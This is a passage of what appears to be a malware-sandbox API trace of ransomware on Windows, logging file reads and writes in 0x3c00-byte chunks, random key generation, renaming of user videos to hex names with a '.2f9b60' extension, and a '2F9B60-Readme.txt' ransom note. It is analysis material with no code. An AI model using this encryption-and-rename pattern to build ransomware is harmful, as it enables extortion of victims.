lpFileSize=0x40bef660 | out: lpFileSize=0x40bef660*=85603) returned 1 [0120.040] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x14e5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.040] ReadFile (in: hFile=0x1824, lpBuffer=0x40bef5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40bef628, lpOverlapped=0x0 | out: lpBuffer=0x40bef5e0*, lpNumberOfBytesRead=0x40bef628*=0x4, lpOverlapped=0x0) returned 1 [0120.041] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0120.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0120.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0120.041] NtQuerySystemTime (in: CurrentTime=0x40bef520 | out: CurrentTime=0x40bef520*=132462177254314000) returned 0x0 [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x30a5e040 [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x5f4ee6ec [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x36424a03 [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x2f7364bd [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x105e3e1f [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x26c299b8 [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x10c1ea84 [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x4b3f32db [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x7088aed8 [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0xe0b83a8 [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x16b410ad [0120.041] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x38976d68 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x56307b44 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x454a6cfd [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x4c73c31e [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x7088aed8 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x356cd336 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x70c91542 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x67e11874 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x6b6bebab [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x68d40859 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x47c62249 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x3e5925f0 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x7cbba544 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x1cc5adc0 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x1fdc479d [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x16d9e351 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x595fa193 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x3f43225e [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x6756d396 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x25498ab6 [0120.042] RtlRandomEx (in: Seed=0x40bef510 | out: Seed=0x40bef510) returned 0x878bf4a [0120.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0120.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0120.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0120.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0120.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf16700 [0120.049] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.050] ReadFile (in: hFile=0x1824, lpBuffer=0x1cf16700, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40bef580, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesRead=0x40bef580*=0x3c00, lpOverlapped=0x0) returned 1 [0120.050] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0120.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0120.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0120.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cef4a70 [0120.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0120.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0120.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0120.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0120.051] WriteFile (in: hFile=0x1824, lpBuffer=0x1cef4a70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40bef580, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesWritten=0x40bef580*=0x3c00, lpOverlapped=0x0) returned 1 [0122.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef4a70) returned 1 [0122.166] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.166] ReadFile (in: hFile=0x1824, lpBuffer=0x1cf16700, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40bef580, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesRead=0x40bef580*=0x3c00, lpOverlapped=0x0) returned 1 [0122.167] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0122.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0122.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0122.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0122.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cef4a70 [0122.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0122.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0122.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0122.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0122.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0122.167] WriteFile (in: hFile=0x1824, lpBuffer=0x1cef4a70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40bef580, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesWritten=0x40bef580*=0x3c00, lpOverlapped=0x0) returned 1 [0122.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef4a70) returned 1 [0122.170] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x11263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.170] ReadFile (in: hFile=0x1824, lpBuffer=0x1cf16700, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40bef580, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesRead=0x40bef580*=0x3c00, lpOverlapped=0x0) returned 1 [0122.171] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x11263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0122.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0122.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0122.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b70) returned 1 [0122.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cef4a70 [0122.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0122.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0122.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0122.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0122.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0122.172] WriteFile (in: hFile=0x1824, lpBuffer=0x1cef4a70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40bef580, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesWritten=0x40bef580*=0x3c00, lpOverlapped=0x0) returned 1 [0122.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef4a70) returned 1 [0122.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced92b0 [0122.175] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.175] WriteFile (in: hFile=0x1824, lpBuffer=0x133b80*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x40bef630, lpOverlapped=0x0 | out: lpBuffer=0x133b80*, lpNumberOfBytesWritten=0x40bef630*=0x154, lpOverlapped=0x0) returned 1 [0122.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0122.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0122.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8030) returned 1 [0122.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a8030 [0122.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fa0 [0122.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0122.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0122.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x42059560 [0122.881] sprintf (in: _Dest=0x42059560, _Format="%c%c" | out: _Dest="42") returned 2 [0122.881] sprintf (in: _Dest=0x42059562, _Format="%c%c" | out: _Dest="c5") returned 2 [0122.881] sprintf (in: _Dest=0x42059564, _Format="%c%c" | out: _Dest="04") returned 2 [0122.881] sprintf (in: _Dest=0x42059566, _Format="%c%c" | out: _Dest="a1") returned 2 [0122.881] sprintf (in: _Dest=0x42059568, _Format="%c%c" | out: _Dest="07") returned 2 [0122.882] sprintf (in: _Dest=0x4205956a, _Format="%c%c" | out: _Dest="4c") returned 2 [0122.882] sprintf (in: _Dest=0x4205956c, _Format="%c%c" | out: _Dest="a2") returned 2 [0122.882] sprintf (in: _Dest=0x4205956e, _Format="%c%c" | out: _Dest="4e") returned 2 [0122.882] sprintf (in: _Dest=0x42059570, _Format="%c%c" | out: _Dest="2f") returned 2 [0122.882] sprintf (in: _Dest=0x42059572, _Format="%c%c" | out: _Dest="1a") returned 2 [0122.882] sprintf (in: _Dest=0x42059574, _Format="%c%c" | out: _Dest="43") returned 2 [0122.882] sprintf (in: _Dest=0x42059576, _Format="%c%c" | out: _Dest="48") returned 2 [0122.882] sprintf (in: _Dest=0x42059578, _Format="%c%c" | out: _Dest="af") returned 2 [0122.882] sprintf (in: _Dest=0x4205957a, _Format="%c%c" | out: _Dest="0a") returned 2 [0122.882] sprintf (in: _Dest=0x4205957c, _Format="%c%c" | out: _Dest="07") returned 2 [0122.882] sprintf (in: _Dest=0x4205957e, _Format="%c%c" | out: _Dest="f9") returned 2 [0122.882] sprintf (in: _Dest=0x42059580, _Format="%c%c" | out: _Dest="31") returned 2 [0122.882] sprintf (in: _Dest=0x42059582, _Format="%c%c" | out: _Dest="84") returned 2 [0122.882] sprintf (in: _Dest=0x42059584, _Format="%c%c" | out: _Dest="56") returned 2 [0122.882] sprintf (in: _Dest=0x42059586, _Format="%c%c" | out: _Dest="07") returned 2 [0122.882] sprintf (in: _Dest=0x42059588, _Format="%c%c" | out: _Dest="1b") returned 2 [0122.883] sprintf (in: _Dest=0x4205958a, _Format="%c%c" | out: _Dest="f3") returned 2 [0122.883] sprintf (in: _Dest=0x4205958c, _Format="%c%c" | out: _Dest="61") returned 2 [0122.883] sprintf (in: _Dest=0x4205958e, _Format="%c%c" | out: _Dest="d3") returned 2 [0122.883] sprintf (in: _Dest=0x42059590, _Format="%c%c" | out: _Dest="65") returned 2 [0122.883] sprintf (in: _Dest=0x42059592, _Format="%c%c" | out: _Dest="c6") returned 2 [0122.883] sprintf (in: _Dest=0x42059594, _Format="%c%c" | out: _Dest="f3") returned 2 [0122.883] sprintf (in: _Dest=0x42059596, _Format="%c%c" | out: _Dest="87") returned 2 [0122.883] sprintf (in: _Dest=0x42059598, _Format="%c%c" | out: _Dest="23") returned 2 [0122.883] sprintf (in: _Dest=0x4205959a, _Format="%c%c" | out: _Dest="12") returned 2 [0122.883] sprintf (in: _Dest=0x4205959c, _Format="%c%c" | out: _Dest="b4") returned 2 [0122.883] sprintf (in: _Dest=0x4205959e, _Format="%c%c" | out: _Dest="d8") returned 2 [0122.883] sprintf (in: _Dest=0x420595a0, _Format="%c%c" | out: _Dest="ec") returned 2 [0122.883] sprintf (in: _Dest=0x420595a2, _Format="%c%c" | out: _Dest="97") returned 2 [0122.883] RtlInitAnsiString (in: DestinationString=0x40bef6a8, SourceString="42c504a1074ca24e2f1a4348af0a07f9318456071bf361d365c6f3872312b4d8ec97" | out: DestinationString="42c504a1074ca24e2f1a4348af0a07f9318456071bf361d365c6f3872312b4d8ec97") [0122.883] RtlAnsiStringToUnicodeString (in: DestinationString=0x40bef678, SourceString="42c504a1074ca24e2f1a4348af0a07f9318456071bf361d365c6f3872312b4d8ec97", AllocateDestinationString=1 | out: DestinationString="42c504a1074ca24e2f1a4348af0a07f9318456071bf361d365c6f3872312b4d8ec97") returned 0x0 [0122.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1730 [0122.883] wcscat (in: _Dest=0x1cd65ad0, _Source="42c504a1074ca24e2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\42c504a1074ca24e2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\42c504a1074ca24e2" [0122.884] wcscat (in: _Dest=0x1cd65ad0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\42c504a1074ca24e2.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\42c504a1074ca24e2.2f9b60" [0122.884] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\42c504a1074ca24e2.2f9b60", NtPathName=0x40bef650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\42c504a1074ca24e2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118610 [0123.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0123.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0123.225] NtQueryInformationFile (in: FileHandle=0x1824, IoStatusBlock=0x40bef6b8, FileInformation=0x40bef6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40bef6b8, FileInformation=0x40bef6c8) returned 0x0 [0123.225] NtSetInformationFile (FileHandle=0x1824, IoStatusBlock=0x40bef6b8, FileInformation=0x40bef6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ad0) returned 1 [0123.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0123.259] FlushFileBuffers (hFile=0x1824) returned 1 [0123.264] CloseHandle (hObject=0x1824) returned 1 [0123.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad3f0 [0123.287] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.287] wcscat (in: _Dest=0x202ad3f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.287] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0123.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b05b0) returned 1 Thread: id = 1451 os_tid = 0x1900 [0120.056] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KGkfrh6FkeYpfkESZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\kgkfrh6fkeypfkesz.swf")) returned 0x20 [0120.056] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KGkfrh6FkeYpfkESZ.swf", dwFileAttributes=0x20) returned 1 [0120.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KGkfrh6FkeYpfkESZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\kgkfrh6fkeypfkesz.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1828 [0120.057] GetFileSizeEx (in: hFile=0x1828, lpFileSize=0x25c2f920 | out: lpFileSize=0x25c2f920*=71852) returned 1 [0120.057] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x118a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.057] ReadFile (in: hFile=0x1828, lpBuffer=0x25c2f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25c2f8e8, lpOverlapped=0x0 | out: lpBuffer=0x25c2f8a0*, lpNumberOfBytesRead=0x25c2f8e8*=0x4, lpOverlapped=0x0) returned 1 [0120.057] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0120.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0120.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.058] NtQuerySystemTime (in: CurrentTime=0x25c2f7e0 | out: CurrentTime=0x25c2f7e0*=132462177254626000) returned 0x0 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x248a4368 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x323f6b5d [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x34713b2b [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x2e78de80 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x6ea687d5 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x6484f870 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0xe34ffbf [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x3746a361 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x3e5925f0 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0xac3eea8 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x739eeb7 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0xc9faf39 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x69eda2af [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x50b49328 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x465130ce [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x711dc74a [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x1663b484 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x105e3e1f [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x5a2d5731 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x22a56e50 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x384a72ba [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x255223aa [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x60397dca [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x525d8279 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x31731905 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x50f99e71 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x3ae335d2 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x356cd336 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x1ad60226 [0120.058] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x20c455f0 [0120.059] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x155c06e6 [0120.059] RtlRandomEx (in: Seed=0x25c2f7d0 | out: Seed=0x25c2f7d0) returned 0x43c26d7a [0120.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0120.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e20 [0120.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0120.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf076c0 [0120.066] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.066] ReadFile (in: hFile=0x1828, lpBuffer=0x1cf076c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25c2f840, lpOverlapped=0x0 | out: lpBuffer=0x1cf076c0*, lpNumberOfBytesRead=0x25c2f840*=0x3c00, lpOverlapped=0x0) returned 1 [0120.066] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0120.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0120.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0120.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 